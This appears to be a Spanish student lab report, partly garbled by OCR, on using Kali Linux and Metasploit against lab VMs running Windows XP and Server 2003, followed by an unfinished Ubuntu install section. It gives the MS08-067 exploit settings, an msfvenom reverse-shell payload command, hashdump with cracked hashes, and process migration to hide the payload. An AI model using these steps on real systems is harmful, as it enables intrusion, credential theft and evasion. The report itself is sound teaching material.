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1 Introduccion

En el presente informe se documenta la realizacion de practicas de hacking ético
utilizando Kali Linux como sistema atacante y diferentes sistemas operativos como victimas,
entre ellos Windows XP, Windows Server 2003 y Ubuntu Desktop. El objetivo principal de este
trabajo fue poner en préctica técnicas de escaneo y explotacion de vulnerabilidades a través del
modulo Meterpreter de Metasploit Framework.

Se emplearon herramientas como Nmap para la deteccion de servicios y puertos abiertos,
asi como msfvenom para la creacion de payloads que permitieron establecer conexiones reversas
hacia el atacante. Durante el proceso se analizaron vulnerabilidades clasicas de sistemas
obsoletos, con el fin de comprender como los atacantes pueden aprovechar servicios inseguros y

por qué es fundamental mantener los sistemas actualizados.



2.1

2 Objetivos

Objetivo General

Realizar practicas de hacking ético mediante el uso de Kali Linux y el modulo

Meterpreter, con el fin de identificar y explotar vulnerabilidades presentes en sistemas

operativos antiguos como Windows XP, Windows Server 2003 y Ubuntu Desktop, evaluando

los resultados obtenidos.

2.2

1)

2)

3)

4)

5)

Objetivo Especifico

Utilizar Nmap para identificar los puertos abiertos y servicios activos en las
maquinas victimas.

Configurar y ejecutar exploits de Metasploit Framework enfocados en
vulnerabilidades conocidas de Windows y Linux.

Aplicar payloads creados con msfvenom para establecer sesiones Meterpreter.
Documentar los comandos utilizados en cada ataque y los resultados obtenidos.
Analizar las diferencias entre las explotaciones realizadas en sistemas Windows y

Linux.



3 Capitulo 1 Hacking Etico desde Kali Linux hacia Windows XP y Windows

Server 2003 utilizando el médulo Meterpreter.

En este primer capitulo se muestran los pasos que se deben seguir para realizar un haking
a Windows XP atreves de modulo Meterpreter. La herramienta que se utilizaran para realizar
estos procesos son nmap y la consola de Metasploitable.

El primer hacking que se muestra es el de Windows XP.

3.1  Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo

Meterpreter.

A continuacidn, se muestran los pasos para realizar este hacking. Primero se escaneo la
direccion IP de Kali Linux para observar los puertos vulnerables de Windows XP, con el

comando nmap -sV y la direccién IP de Kali Lunux.

Tlustracién 1 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 1

Este escaneo muestra la direccion IP, los puertos vulnerables y el nombre de la maquina
victima, como se ve en la siguiente imagen.

Nmap scan report for 192.168.10.7

Host is up (0.0023s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: 08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Ilustracion 2 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 2

Segundo paso, se ingreso al entorno o la consola de Metasploitanle con el comando

msfconsole



Metasploit tip: Open an interactive Ruby termimal with irb
[i*]1 starting the Metasploit Framework console ... |

Tlustracién 3 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 3

Tercer paso, se busco los modulos disponibles de meterpreter con el comando search

netapi.

rch netapi

Matching Modules

Tlustracion 4 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 4

Cuerto paso, se uso el metodo que suguiere explotar Metasploitable.

Interact with a module by name or index. For example info 94 + Or

, use
After interacting with a module you can manually set a TARGET with

Tlustracién 5 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 5

Quinto paso, se selecciona este comdulo con el comando use y el nombre del modulo.

p-

No payload configured, defaulti
msf6 exploit(

Tlustracion 6 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 6

Con el comando options se observaron los opciones que se deben configurar para

explotar el modulo.

msf6 exploit( ) > options
Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Ilustracion 7 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 7



Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.6 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Tlustracion 8 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 8

Sexto paso, se registro la direccion IP de la maquina victina con el comando set RHOST

y la direccion IP.

rhost 192.168.18.7

Tlustracién 9 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 9

Una vez mas se utulizo el comando options para observar que el registro de la IP de la

maquina victima se haya guradado corecctamente.

msf6 exploit( ) > options
Module options (exploit/windows/smb/ms@8_067_netapi):

Name Current Setting Required Description
RHOSTS 192.168.10.7 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Tlustracién 10 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 10

Septimo paso, se ejecuto el exploit con el comando run.

oit(
reverse TCP handler

77 ites)

ion 5 opened (192.16

Tlustracion 11 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 11

Una vez dentro de meterpreter, se ejecuto el comando sysinfo para conocer todo la

infromacion de la maquina victima.



sysinfo
: WAY

Computer
0s
Architecture

Domain
Logged On Users

Ilustracion 12 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 12

Despues, se ejecuto el comando getudi y getsystem para escalar privilegios dentro del

sistema.

etuid
Server userna NT AUTHORIT
> getsystem
running as SYSTEM

Tlustracion 13 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 13

Ademas, con el comando hashdump se conocieron los usuarios que tenia esta maquina,

pero como se ve en la siguiente las contrasefias de todos los usuarios estaban encriptadas.

er > hashdump
Administrador:5
Asister
Invitado

Tlustracion 14 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 14

Para desencriptar las contrasefias se utilizo un sofware y este mostro efectivamente las

contrasefias de algunos usarios que tenia la maquina victima.

Hash Type Result
31décfeddlacd31lb73c59d7e8c@89co NTLM
d3d34Babsa6T2a@@of@@ec686236808d NTLM franklin
d3d34@abéa6T2a0@ofeeec686e36803d NTLM franklin

Ilustracion 15 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 15



Con el comando ps, se listaron todos los procesos que estsban siendo ejecutados en la

maquina victima.

AUTHORITY

AUTHORITY

AUTHORITY
/n

AUTHORITY

AUTHOR

AUTHORITY

AUTHORITY
/n

el -l

wuauclt.exe

ITlustracién 16 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 16

Con el comando ipconfig, se pudo observar la direccion IP actual de la maquina victima.

meterpreter > ipconfig

Interface 1

Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00

MTU : 1520
IPv4 Address : 127.0.0.1

Interface 2

Name : Adaptador de servidor PRO/1000 T de Intel(R) - Minipuerto del administrador de paquetes
Hardware MAC : 08:00:27:2e:c9:8d

MTU : 1500

IPv4 Address : 192.168.10.7

IPv4 Netmask : 255.255.255.0

meterpreter > ||

Tlustracion 17 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 17

Con el comando shell se ingreso como tal al sistema interno de la maquina que estsba

siendo atacada.



s XP [Versien 5.1.2600]
T

Copyright 1985 A1 Microsoft Corp.

Ilustracion 18 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 18

Despues, ejecutando cd .. dos veces, se ubico en la raiz del sistema victima.

Tlustracién 19 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 19

Con el comando dir, se listaron todas las carpetas que tenia el sistema.

El volumen de 1la unidad C no tiene e
El nemero de serie del volumen es

Directorio de C:\

Archivos de programa
AUTO C.BAT

CONFIG.
<DIR> Docum
<DIR> WIND

archivos @ bytes

Tlustracion 20 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 20

Con el comando cd Doc* se accedi6 a la carpeta de documentos del sistema y con el

comando dir, se listaron las carpetas que tenia la carpeta documento.



C:\>cd Docx
cd Docx

C:\Documents and Settings>dir

dir

El volumen de la unidad C no tiene etiqueta.

EL nemero de serie del volumen es:

2490-270F

Directorio de C:\Documents and Settings

26/07/2025
26/07/2025
26/07/2025
26/07/2025

C:\Documents and Settings>|]

09:
09:
09:
09:

40
40
34
40
0
4

<DIR>
<DIR>
<DIR>
<DIR>
archivos

All Users
wayner_antonio_moya_
@ bytes

dirs 19.890.962.432 bytes libres

Tlustracién 21 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 21

Con el comando cd wa*, se accedio a la carpeta de wayner y con el comando dir, se

listaron las carpetas que tenia la carpeta wayner.

C:\Documents and Settings>cd wax

cd wax

C:\Documents and Settings\wayner_antonio_moya_>dir

dir

El volumen de la unidad C no tiene etigueta.

El nemero de serie del

Directorio

26/07/2025
26/07/2025
01/09/2025
26/07/2025
26/07/2025
26/07/2025

volumen es:

2490-270F

de C:\Documents and Settings\wayner_antonio_moya_

09:
09:
15
09:
03:
09:

)
)
55
40
23
)

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

@ archivos
6 dirs

Escritorio

Favoritos

Mene Inicio

Mis documentos
@ bytes

19.890.962.432 bytes libres

C:\Documents and Settings\wavner_antonio_moya_>|

Ilustracion 22 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 22

Con el comando cd Es*, se accedio a la carpeta escritorio y con el comando dir, se
9

listaron las carpetas que tenia la carpeta escritorio.



C:\Documents and Settings\wayner_antonio_moya_>cd E
cd Es#
ocuments and Settings\wayner_antonio_moya_\Escritorio>dir
dir
El volumen de 1la unidad C no tiene etigueta.
El nemero de serie del volumen es: 249@8-270F

Directorio de C:\Documents and Settings\wayner_antonio_moya_M\Escritorio

@1/@9 .
UTCH-PTIVIL
archivos @ bytes
dirs 19.8 62 2 bytes libres

\Documents and Settings\wayner_antonio_moya_\Escritorio>[}

Tlustracion 23 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 23

Y con el comando mkdir, se cred una carpeta llamada LABORATORIO y luego
ejecutando dir nuevamente, se listaron las carpetas dentro de la carpeta escritorio y se observa

que la carpeta LABORATORIO fue creada correctamente.

C:\Documents and Settings‘wa) “WEscritorio>mkdir LABORATORIO
mkdir LABORATORIO

Jocuments and Settings‘\wayner_antonio_moya_“\Escritorio>dir

volumen de 1la unidad C no tiene
n#mero de serie del volumen

rectorio de C:\Documents and Settings‘\wayner_antonio_moya_‘\Escritorio

e1/e9/ <DIR>
01/09/32 ) { <DIR> 1.
01/09 ) <DIR> LABORATORIO
0 <DIR> UTCH-PTIVIL
@ archivos @ bytes
4 dirs 19.890.9¢ 2 bytes libres

ocuments and Settings\wayner_antonio_moya_\Escritorio>|]

Ilustracion 24 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 24



Luego para observar que efectivamente se habia hecho el hackeo de Windows XP atreves
del modulo Meterpreter, se verifico en el entorno grafico de Windows XP la carpeta
LABORATORIO se encontraba alli creada y se puedo concluir que el hacking fue realizado

correctamente.

-

UTEH-PTIVIL

S

LoBaRATORTG

Tlustracion 25 Hacking Etico desde Kali Linux hacia Windows XP utilizando el médulo Meterpreter — paso 25

El segundo hacking que se muestra es el de Windows Server 2003. Pero este hacking no
se hizo como se realizo en Windows XP directamente con Meterpreter. En este hacking se creo
un archivo.exe o ejecutable en Kali Linux y se enviéo a Windows Server 2003 y una vez se
ejecutd el archivo.exe automaticamente se le dio acceso a Meterpreter a la maquina atacante o a

Kali Linux.

3.2 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el

modulo Meterpreter.

A continuacion, se muestran los pasos para realizar este hacking. Primero se escaneo la
direccion IP de Kali Linux para observar los puertos vulnerables de Windows Server 2003, con

el comando nmap -sV y la direccion IP de Kali Lunux.

~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 21:46 -05

Ilustracion 26 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 1



Este escaneo muestra la direccion IP, los puertos vulnerables y el nombre de la maquina

victima, como se ve en la siguiente imagen.

Nmap scan report for 192.168.10.8

Host is up (0.0025s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:AD:FB:AD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_ 2003

Tlustracion 27 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 2

Segundo de ingreso al super usuario de Kali con el comando sudo su, como muestra en la
siguiente imagen.

zsh: corrupt history file /home/franklin/.zsh_history

[sudo] contrasena para franklin:

/home/franklin
|

Tlustracion 28 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 3

En el tercer paso se creo una carpeta dentro de Kali llamado LABORATORIO-02 con el

comando mkdir y el nombre de la carpeta.

/home/franklin
LABORATORIO-02

Ilustracion 29 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 4

En el cuarto paso, se creo el archivo de ejecucion dentro de la carpeta LABORATORIO
con el comando msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.10.6
LPORT=2008 -f exe > /home/franklin/LABORATORIO-02/laboratorio-02.exe, donde

laboratorio-02.exe es el nombre del archivo.



/home/franklin/LABORATORIO-02

ITlustracion 30 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 5

Una vez creado el archivo con el comando s, se observo que el archivo all4 sido creado

correctamente.

ITlustracién 31 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 6

En el quinto paso, se activo el servicio de apache2 de Kali Linux con el comando service

apache?2 start.

Tlustracion 32 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 7

Con el comando service apache?2 status, se observo el estado del servicio apache2.

/home/franklin/LABORATORIO-02

e apache2.service - The Apache HTTP Server

: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)

: active (running) since Mon 2025-09-01 16:13:52 -05; 5h 31min ago
d19560a303364c7%9ae2e1ddd560e80d6
https://httpd.apache.org/docs/2.4/

: 44031 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)

: 44047 (apache2)
8
23.2M (peak: 23.5M)
2.199s
/system.slice/apache2.service

sep 01 16:13:52 franklin systemd[1]: Starting apache2.service - The Apache HTTP Server ...
sep @1 16:13:52 franklin systemd[1]: Started apache2.service - The Apache HTTP Server.

/home/franklin/LABORATORIO-02

Ilustracion 33 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 8



En el sexto paso, se accedio6 a la ruta /var/www/html con el comando cd y la ruta antes
mencionada. Y con el comando chmod 777 y esta misma ruta, se le concedieron los permisos

para poder modificar archivos de este ruta.

i /home/franklin/LABORATORIO-02

/var/ww/html
o /html

nLnL

Tlustracion 34 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 9

Con el comando sudo mv, se cambio el nombre del index2.hmtl a index3.html, para que

cuando se ingresara al http de Kali Linux no mostrara el index.html por defecto, si no que se

pudiera elegir cual archivo ejecutar.

/var/wwi /html

index2.html index3.html

Tlustracién 35 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 10

Y una vez que se realizo el proceso anterior se accedi6 al http de Kali Linux por medio de

la direccion IP y este mostro los archivos que se puedian ejecutar alli dentro.

— I . e - — P - -

indes ngir-debian html 2025-08-03 23:51 615
index3. htyrl 2025-08-04 00:01 10K
satena exe 2025-09-01 16:26 72K

Ilustracién 36 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 12

Luego de realizar ese proceso anterior. Se accedio a la carpeta LABORATORIO-02.



/home/franklin
/home/franklin/LABORATORIO-02

/home/franklin/LABORATORIO-02
laboratorio-02.exe

/home/franklin/LABORATORIO-02

Tlustracién 37 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 13

Y para pasar el archivo creado en la carpeta LABORATORIO-02 a la ruta

/var/www/html, se utilizo el comando cp el nombre del archivo y la ruta especificada.

/home/franklin/LABORATORIO-02
laboratorio-02.exe /var/ww/html

Tlustracién 38 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 14

Para verificar que se paso el archivo correctamente, se accedié nuevamente a la ruta
/var/www/html con el comando cd y después el comando Is se listaron los archivos que habian

dentro de la ruta y entre eso estaba el archivo creado en la carpeta LABORATORIO-02

/home/franklin/LABORATORIO-02
v/html

/var/www /html

index3.html index.nginx-debian.html 1laboratorio-02.exe

/var/www /html

Tlustracion 39 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 15

Una vez realizada la verificacion del archivo en la ruta /var/www/html, se actualizo el
http de Kali y el archivo estaba en la lista que muestra al ingresar la direccion IP de Kali en el

explorador de Windows Server 2003.



o mmmmmer ainmira mesmerissssecas rrasin e arirasaprumcess

index nginz-debian htrnl 2025-08-03 23:51 £15

indesx3 hirml 2025-08-04 00-01 10E
Jaboratono-07 exe 2025-09-01 21:51 72K
zatena exe 2025-N09-01 16:26 72K

ITlustracion 40 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 16

Después, se descargo el archivo laboratorio-02, como muestra la siguiente imagen.

indez nairee-debian bl 2025-08-03 23:51 615

ndex3 himl 2025-08-04 00:01 10K
) ebaratonc TSt ST TR
satena exe  Abrir enuna ventana nueva 2R TE
Guardar destino coma. ..
Imprinnir desting
Apachal2 4.6, i, I 0.0 Fort 80
Corkar
Copiar
Copiar acceso direcko
Pegar:
a Aoregar a Favoribos, .. l_ mdex .
a Inicinl J @& [ Propiedades 2, 166.1. .. | & Index of ...
o

Tlustracion 41 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 17

Y el archivo se guard6 en el escritorio, como muestra la siguiente imagen,

Apacher2.

I laboratorio-02. exe

j Guardar I
=

ipo: IApIicacién - Cancelar |
a T T imartesJ 02 de septiembre de 2025

Iﬁ'lniciul J N J B simbolad. .. | v | 192.168.1...“@2 Intern...~ Qndministra...l J |. ) 2:%

Ilustracion 42 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 18

Para verificar que el archivo se habia descargado correctamente, se ingreso el entorno
grafico de Windows Server 2003 y se verifico que el archivo habia sido descargado

correctamente



labarataria-. ..

Tlustracion 43 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 19

El sisguiente paso que se realizo el utilizar el metodo handker para ingresar al
Meterpreter de la maquina victima una vez ejecutado el archivo.
Primero se busco el metodo o los metodos dsiponibles con el comando search

multi/handler.

Tlustracién 44 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 20

Esta buisqueda mostro varios modulos, como se ve en la siguiente imagen.

manual

Ilustracion 45 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 21

Con el comando use se selecciono el modulo 7 para realizar el exploit.

Ilustracion 46 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 22

Con el comando options, se observaron las opciones que tenia el modulo y se debian

modificar.



=

msf6 exploit( ) > options

Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Tlustracién 47 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 23

Con el set payload se le asigno el payload que se establecio en el archivo creado en Kali
Linux y que se envidé a Windows Server 2003.
Con el comando set LHOST se le asigno la direccion IP de la maquina atacate y con este

mismo comando se le asigno el puerto establecido en el archivo antes mencionado.
View the fu module info with the into, or ini [ ET

msf6 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit( ) > set LHOST 192.168.10.6

LHOST = 192.168.10.6

msf6 exploit( ) > set LHOST 2008

LHOST = 2008

msf6 exploit( ) > |

Tlustracion 48 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el modulo Meterpreter - paso 24

Luego se ejecuto el archivo en Windows Server 2003.

Ilustracion 49 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 25

Y también se ejecutd el exploit, dando como resultado que el hacking fue correcto, ya que

se pudo ingresar a Meterpreter de la maquina victima como lo muestra la siguiente imagen.



msf6 exploit(

.6:4444 — 192.168.10.8:1101) at 2 -@9-81 21:59:36 -0500

Tlustracion 50 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 26

Una vez dentro de Meterpreter, se ejecuto el comando sysinfo para visualizar la

informacion del sistema victima.

meterpreter > sysinfo

Comput : FRANKLIN

0s : Windows Server 2083 (5.2 Build 3798, Service Pack 1).
Architecture

System Language :@: es_E!

Domain : GRUPO_TRABAJO

Jwindows

Tlustracién 51 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 27

Con el comando getuid y getsystem se intento escalar a los privilegios del sistema

victima.

meterpreter >

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > getsystem

Already running as SYSTEM
meterpreter > [

Tlustracion 52 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 28

Con el comando ps, se listan los procesos que se estaban ejecutando en el sistema
victima. Y como se ve en la imagen que su ve a continuacion, el archivo laboratorio-02.exe

estaba siendo ejecutado.



PPID Name

stem Process]

NT AUTHORITY

NT
NT A
NT A
NT
NT
NT
NT A
NT A
NT A
NT A
NT A

FRANKLIN\Administr
FRANKLIN\Administr
NT AUTHORITY
NT AUTHORITY

Tlustracién 53 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 29

También se ingres6 al administrador de archivos de Windows Server 2003 y este mismo

archivo estaba siendo ejecutado, como los muestra la siguiente imagen.

Mombre de imagen | Mombre de usuario | ZPLI | s de m. .. -
ialg,exe SERMICIO LOCAL on 2,505 KB
sychosk, exe SYSTEM oo 3,645 KB
laboratorio-02 . exe  Administrador a0 1.508 KB
crmd.exe Adminiskradar a0 a4 KB

Tlustracion 54 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 29

Después, utilizando el comando migrate y los PID del archivo laboratorio-02.exe y

explorer.exe, se migro el archivo laboratorio-02.exe a explorer.exe, para guardar el archivo.

meterpreter > [

Tlustracion 55 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 30

Y después de migar el archivo, se ingres6 nuevamente al administrador de tareas de
Windows Server 2003 y como lo muestra la siguiente imagen, el archivo no era visible porque ya

estaba migrado a otro archivo.



PILHTILT S U2 US| LU e U OSugrid | o ) DS ue i, | -
ialg. exe SERNICIO LOCAL ] 2,503 KB |
svchosk, exe SYSTEM oo J.648 KB
cmd. exe Adriniskradar aa &4 KB
wuacl, exe Adriniskradar aa 4,744 KB
svchosk, exe SERMWICIO Lo AL i} 1.216KE
IEXPLORE.EXE administradar oo 2.604 KB
svchosk,exe SYSTEM oo 1,836 KB
msdte.exe Servicio de red aa 3.612 KB
spoalsy,exe SYSTEM i} 4,016 KE
ckFmaon, exe Administradar aa 2,240 KB
explarer.exe Adriniskradar aa 7. 748 KB

Tlustracion 56 Hacking Etico desde Kali Linux hacia Windows Server 2003 utilizando el médulo Meterpreter - paso 31

Y asi se realiza la explotacion y el hacking de Windows XP y Windows Server 2003

desde Kali Linux a través del método Meterpreter.



4 Capitulo 2 Hacking Etico desde Kali Linux hacia Ubuntu utilizando el

modulo Meterpreter.

Este segundo capitulo, se realizé el mismo proceso o hacking que se hizo en Windows
Server 2003 pero esta vez utilizando una distribucion de Kali o Ubuntu. La maquina virtual
escogida fue Ubuntu Desktop, pero primero se muestra como se descarga e instalar esta maquina

virtual.

4.1  Descargar e Instalar Ubuntu Desktop en VirtualBox.

Para descargar Ubuntu, primero se ingreso a la pagina oficial y se descargd la imagen iso.

b The latest LTS version of Ubuntu, for desktop PCs and laptops. LTS stands for long-
U U n tU 2 4 . 04 . 3 LTS term support — which means five years of free security and maintenance updates,

extended up to 12 years with Ubuntu Pro.

Intel or AMD 64-bit architecture 5.9GB

For other versions of Ubuntu Desktop including torrents, the network installer, a list of
local mirrors and past releases check out our alternative downloads.

What's new System requirements How to install

llustracion 57 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 1

Y cuando se dio clic en descargar la imagen iso, se empezo a decsragar la imagen iso.

G o] https://ubuntu.com/download/desktop/thank-you?version=24.04.3&architecture=amdo6d &lts=true

G 2
& Downloads Desktop  Server  Core  Cloud Descargas [ .

|<]  ubuntu-24,04.3-desktop-amdéd.iso
170 KBfs - 1.606 KB de 5.9 GB. 10 horas restantes

&1
ks
=

Thank you fFor downloading Sign up for
[W] matlab_R2025a_Windows.exe
Ubuntu DESktop 24.04-3 LTS Get the latest Ubuntu news ) s
llustracion 58 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 2

Y una vez descargada la imagen, se guardo el archivo en la computadora.
R

D ubuntu-24.04.3-desktop-amdeéd f09/2025 9:26 p. m. Archive de image..  £.197.156 KE

Hlustracion 59 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 3



Despues, se creo la maquina virtual en VirtualBox, primero se le puso el nombre y se

selecciona la imagen iso nates descargada.

< -4 l [T |

I L
5 Crear maguina virtual = O X
s Nombre y sistema operativo
MNembre: Ubuntu &
k8_ Carpeta: ChUsers\HP\VirtualBox VM= ~
Imagen 150: D Ch\Users\HP\Downloads\ubuntu-24.04.3- desktop-amd&4d.iso & ~

Edicign:

Tipo:  Linux ~
Subtype: Ubuntu

Version: Ubuntu (64-bit)

B Omitir instalacion desatendida

Hlustracion 60 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 4
Luego se omitio la instalacion desatendia y se realizo la configuracion de la memoria

base y los procesadores.

> Instalacién desatendida

+ win2k8, .+ Hardware

Memoria base: . 3547MB -

4MB

Contiene |a cantidad de memeria de memeria base de la maquina virtual,
Procesadores: '

/4 1
1CPU

12CPUs
[ Habilitar EFI (sélo SO especiales)

llustracion 61 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 6

Terminado de configurar el hardware, se realizo la configuracion del disco, donde se le

asigno la cantidad de GB que tendria el disco virtual.

© Crear un disco duro virtual ahora

Ubicacidn y tamafio del archivo de disco

ChUsers\HPVVirtualBox VMs\UbuntutUbuntuvdi

v

v e

4,00 MB 200TB

_ Tipo y variante de archive de disco duro

VDI (VirtualBox Disk Image) ~ [ Reservar completamente

Split Into 2GB Parts
(D) Usar un archivo de disco durs virtual existente
4 Metasploitable.vmdk (Normal, Inaccesible)

(O No afiadir un disco duro virtual

llustracion 62 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 7



Y se puedo observar que la maquina se creo correctamente.
€64 Ubuntu ] e P
Pd ¢ o=
(L) Apagada L _

llustracion 63 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 8

Luego se inicio la maquina virtual.

@ w g -

Mueva Afadir Cenfiguracion Descartar  Iniciar

1 -
llustracion 64 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 9

La primera opcion que se escogio fue instalar ubuntu cunado se inicio la maquina.

GNU GRUB wersion 2.12

Try or Install Ubuntu
Ubuntu (=safe graphics)
Test memory

llustracion 65 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 10

Despues, se escogio el lenguaje espafiol.

Choose your language:

Espanol
Esperanto
Fa) Euskara
&) Ubuntu
Francais
Gaeilge

Galego

llustracion 66 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 11



Tambien se escogio el teclado en espafiol.

Elija la disposicion del teclado Detectar
Eslovaco
Esloveno
Espanol
Espanol {latinoamericano)

Esperanto

Seleccione la variante del teclado: Espafiol v

Escriba aqui para probar el teclado

llustracion 67 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 12

Ademas se escogio la opcion de instalar ubuntu.

;Qué quiere hacer con Ubuntu?

(o] Instalar Ubuntu
Instalar Ubuntu junto con (o en lugar de) su sisktema
operativo actual. No deberia tardar mucho.

() Probar Ubuntu
Puede probar Ubuntu sin efectuar ningin cambio en el
equipo.

Hlustracion 68 Descargar e Instalar Ubuntu Desktop en VirtualBox - paso 13



Luego se escogio la opcion de instacion interactiva.

;Como le gustaria instalar Ubuntu?

o Instalacidn interactiva
Para usuarios que quieran ser guiados paso a paso
durante la instalacion.

(" Instalacion automatizada

Para usuarios avanzados que tienen un archivo
autoinstall.yaml para configuraciones del sistema
consistentes y repetibles.

